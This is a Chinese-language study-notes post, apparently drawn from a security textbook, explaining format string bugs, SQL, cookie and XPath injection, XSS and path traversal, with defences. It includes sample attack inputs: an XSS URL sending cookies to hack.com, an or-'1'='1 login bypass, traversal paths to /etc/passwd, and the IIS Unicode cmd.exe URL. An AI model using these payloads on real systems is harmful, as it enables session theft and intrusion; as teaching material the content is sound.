首页 > 代码库 > OD: Format String, SQL Injection, XSS

OD: Format String, SQL Injection, XSS

 

Format String 格式化串漏洞

考虑如下的代码:

1 #include<stdio.h>
2 int main()
3 {
4     int a=44,b=77;
5     printf("a=%d, b=%d\n",a,b);
6     printf("a=%d, b=%d\n");
7     return 0;
8 }
View Code

第 6 行的 printf() 没有正确设置参数,而 C 对此没做强制检查。第 6 行的输出结果在 XP sp2 VM(VC6.0 Release 版本)上的结果为 a=4218928, b=44。其中 a 的值是第 5 行的参数 "a=%d, b=%d\n" 的地址,b 的值是第 5 行中压入的 a 的值(从右向左将参数压栈,printf 执行后其参数不会出栈)。

如上的代码只是个小 bug,但对于以下的例子,就构成严重的漏洞了(比如输入"%p, %p, %p, ...",%p 含义为 pointer):

1 #include<stdio.h>
2 
3 int main(int argc, char **argv)
4 {
5     //printf(argv[1]);
6     char buf[1024];
7     printf(gets(buf));
8     return 0;
9 }

如果配合能够写的控制符,这种漏洞会更危险,例如:

1 #include<stdio.h>
2 int main(int argc,char **argv)
3 {
4     int len=123;
5     printf("before write: len=%d\n",len);
6     printf("failwest:%d%n\n",len,&len); // %n 控制符会将当前 printf 的总输出长度写回对应的变量,这里 “failwest:123” 长度为 12
7     printf("after  write: len=%d\n",len);
8     return 0;
9 }

输出结果为:

before write: len=123
failwest:123
after  write: len=12

当输入输出函数的格式化控制符能够被外界影响时,攻击者可以综合利用前面介绍的读内存和写内存的方法修改函数返回地址,劫持进程,运行 shellcode。

比起大量使用命令和脚本的 *NIX 系统,Windows 中命令解析和文本解析的操作不是很多,加上这种类型的漏洞发生的条件很苛刻,使得格式化串漏洞的实际安全非常罕见。

堆栈溢出漏洞往往被复杂的程序逻辑所掩盖,给漏洞检测造成一定困难。相对而言,格式化串漏洞的起因非常简单,只要检测相关函数的配置就行,通过简单的静态代码扫描,一般可以容易地发现这类漏洞(VS2005 中在编译级别对参数做了检查,且默认情况下关闭了对 "%n" 控制符的使用)。通常能引起这种漏洞的函数包括:

printf()
wprintf()
fprintf()
fwprintf()
sprintf()
swprintf()
vprintf()
vwprintf()
vfprintf()
vfwprintf()
vsprintf()
vswprintf()

 

SQL 注入

网站系统的可输入接口比软件系统要多得多,脚本语言在提供了高度灵活性的同时也带有语言限制不够严格的缺点,这使得 Web 系统的安全性变得非常严峻。

SQL 注入源于 ASP、PHP 等脚本语言对用户输入数据和解析时的缺陷。不像缓冲区溢出攻击那样需要掌握大量的系统底层知识,SQL 注入的技术门槛相对较低,只要懂得基本的 Web 技术和数据库知识,就能够实施攻击。一些自动化攻击工具如 NBSI2 等也使得这类攻击变得更容易。目前这类攻击技术已经发展成一套比较完善的体系并成为网站攻击的主流技术。

SQL 注入的精髓在于构造巧妙的注入命令串,从服务器的不同反馈结果中逐步分析出数据库中各个表项之间的关系,直到彻底攻破数据库。遇到功能强大的数据库(如 MS SQL Server)时,如果数据库权限配置不合理,利用存储过程甚至可以做到远程控制服务器。

防范注入攻击的手段有:

1. 对用户输入数据进行限制,过滤掉第三字符。
2. 产生注入的根源是拼接字符串,故可以不用拼接字符串进行查询而采用参数化查询。

 

针对 SQL 注入的更深的内容可以去原书《0day 安全:软件漏洞分析技术(第2版)》第 8.1-8.2 节查阅。

 

Cookie 注入

以 ASP 为例,程序员经常会使用以下两种方式获取用户提交的数据:

ID = Request.QueryString("id")  // GET
ID = Request.Form("id")         // POST

许多程序员为了同时支持 GET 和 POST 方式,常常使用如下通用方式:

ID = Request("id")

而实际上,这种方式会先读取 GET 中的数据,然后读取 POST 中的数据,如果还没找到相应数据,则读取 Cookie 中的数据。如果对注入的防范仅落实在 GET 和 POST 方式上,这时攻击者就能通过 Cookie 绕过限制进行注入攻击,Cookie 注入由此产生!

相关 Cookie 注入方式和简单技巧原书可查!

 

XML 的路径语言:XPath 注入

XPath 是 XML 的路径语言,通过“引用数据”的方式从 XML 文档中读取各种信息,并且具有很好的松散输入特性和容错特性。这种特性使得攻击者能够在 URL、表单或其他地方附上精心构造的 XPath 查询语句来获得权限。

如果存放用户验证信息的不是一个数据库表,而是一个如下的 XML 文件:

1 <?xml version="1.0" encoding="UTF-8"?>
2 <users>
3     <admin>
4         <name>admin</name>
5         <password>123</password>
6     </admin>
7 </users>

则对应的查询语言可能是:

//users/admin[name/text()=‘admin‘ and password/text()=‘123‘]

如果在用户名和密码框中都输入 ‘ or ‘1‘=‘1,XPath 语句将变为:

//users/admin[name/text()=‘‘ or ‘1‘=‘1‘ and password/text()=‘‘ or ‘1‘=‘1‘]

括号内部的谓词结果是 True,所以查询结果将选择所有 admin 用户,验证就被绕过!

XPath 注入与 SQL 注入十分相似。数据库注入可以采用参数化查询来防止,但 XPath 不支持参数化查询,但可以采用 XQuery 来模拟参数化查询。

 

XSS 攻击

XSS 是 Cross Site Script 的缩写(为了不与 CSS - Cascading Style Sheets 冲突),XSS 占漏洞的比例很大,防不胜防。

很多 Web 应用中,服务器都会将用户的输入或请求的数据直接地或者经过简单加工后以页面的形式返回给客户端。在搜索引擎、错误提示页面、论坛空间等应用中,如果服务端对用户的输入没有很好地过滤,攻击者就能利用这些可信的网站,使用户的浏览器执行一些恶意的脚本。XSS 漏洞正是产生于 Web 服务器把用户的输入数据直接返回给客户端。这种攻击利用服务器作为桥梁去攻击普通用户,“跨站脚本”中的“站”正是指被利用的 Web 服务器。随着 XSS 蠕虫的出现,XSS 对服务器的攻击也逐渐得到重视。

XSS 攻击的目标一般是客户端浏览器,受影响的范围要远远大于攻击服务器的 SQL 注入等方式;另外,独立的 XSS 漏洞配合上其他攻击技术往往能产生非常严重的后果。

XSS Reflection 攻击场景
1. 用户正常登录一个网站 test.com,一个 Cookie 被设置:Set-Cookie:sessID=xxxx
2. 攻击者给用户发一个载有 XSS 的 URL,骗取用户点击
   http://test.com/t.php?input=<script>var+i=new+Image;+i.src="http://hack.com/"%2bdocument.cookie;</script>
3. 用户点击如上链接,向服务器发送 URL 请求
4. 存在漏洞的 test.com 简单地把 XSS 当做网页文本返回给用户客户端
5. 用户收到返回的页面后,执行其中的攻击脚本:
   var i=new Image; i.src="http://hack.com/"+document.cookie;
6. 攻击者从 hack.com 中得到 test.com 中的用户 Session ID,伪装成用户登录 test.com,完成 Session Hi-Jacking 攻击

注意:hack.com 无法从用户的浏览器中直接读取 test.com 的 Cookie 而 test.com 可以;用户信任 test.com 而不信任 hack.com,直接发送 hack.com 容易失败。

XSS Reflection 常发生于搜索引擎、错误提示页面等对用户输入的直接反馈中。如果论坛或者 Blog 对用户提交的请求没有很好地过滤,将导致 Stored XSS 漏洞:

XSS Stored 案例:XSS 蠕虫
2005 年,名为 Samy 的 MySpace 用户在自己的个人资料中加入了一些 JavaScript,所有打开该页面的浏览器都执行了这个脚本:首先把攻击者加为好友,并将这段 XSS 复制到被攻击者的个人资料中。结果 MySpace 上引发了一块大规模的基于 XSS 漏洞的蠕虫传播,一小时内 Samy 的好友超过一百万,MySpace 为了清除所有被感染的用户文档中的 XSS 而被迫停止运行,Samy 被判对 MySpace 进行经济赔偿外加三个月义工。

需要注意的是,除了上述两各类型的 XSS 漏洞,本地的 html、chm、mht、dll、exe 等文件内部也可以存储 XSS,从而引起 XSS 攻击。

将文本返回给用户浏览器之前,对敏感字符进行编码替换是一个防御 XSS 攻击的简单有效的办法,几个可以考虑的替换如下:
" → &#34
‘  → &#39
& → &#38
......

 

路径遍历漏洞

Windows 系统中 ../ 和 ..\ 都能表示上一级目录,*NIX 中 ../ 也能表示上一级目录:

C:\Windows\../Windows\win.ini
/var/www/html/../../../etc/passwd
%2e%2e%2f 含义为 ../

如果开发者没有对这种路径回溯进行过滤或者权限控制的话,攻击者就可以通过精心构造的回溯路径获取服务器上的敏感文件,从而进一步渗透。

工业界最著名的路径遍历漏洞是 CVE-2001-0333 IIS5 中的漏洞:攻击者使用 Unicode 编码过的 URL 可以突破 IIS 的目录访问控制机制,例如:(%cp%af 是 Unicode 的 ‘/‘)

http://xxxx.com/..%c0%af../winnt/system32/cmd.exe+/c+dir+c:\

将会返回 dir c:\ 的结果。

同样一个资源的表达方式是多种多样的,在给用户带来方便的同时,也使得访问控制系统变得复杂。如果需要设计一个防火墙系统对一个特定的 URL 黑名单进行阻止,就要考虑到 URL 形态上的多样性,否则简单编码就可以绕过防火墙规则。

http://www.baidu.com
http://220.181.6.175
http://0xDCB506AF     // IP 的 HEX 形式
http://3702851247     // DEC 表示形式
http://0334.0265.06.0257    // OCT 表示形式
http://0x123456789DCB506AF    // IE 等浏览器会将多余的数字丢弃
2001:0DB8:0000:0000:0000:0000:1428:57AB
2001:0DB8:0000:0000:0000::1428:57AB
2001:0DB8:0:0:0:0:1428:57AB
2001:0DB8:0::0::1428:57AB
2001:0DB8::1428:57AB

而范式化(Canonicalization)可以较好地解决这个问题。Windows 中的 GetFullPathName() 或者 PathCanonicalize() 、Linux 中的 canonicalize_file_name()、Java 中的 File.getCanonicalPath() 和 java.net.URI.normalize()、PHP 中的 realpath() 都可以做到这一点。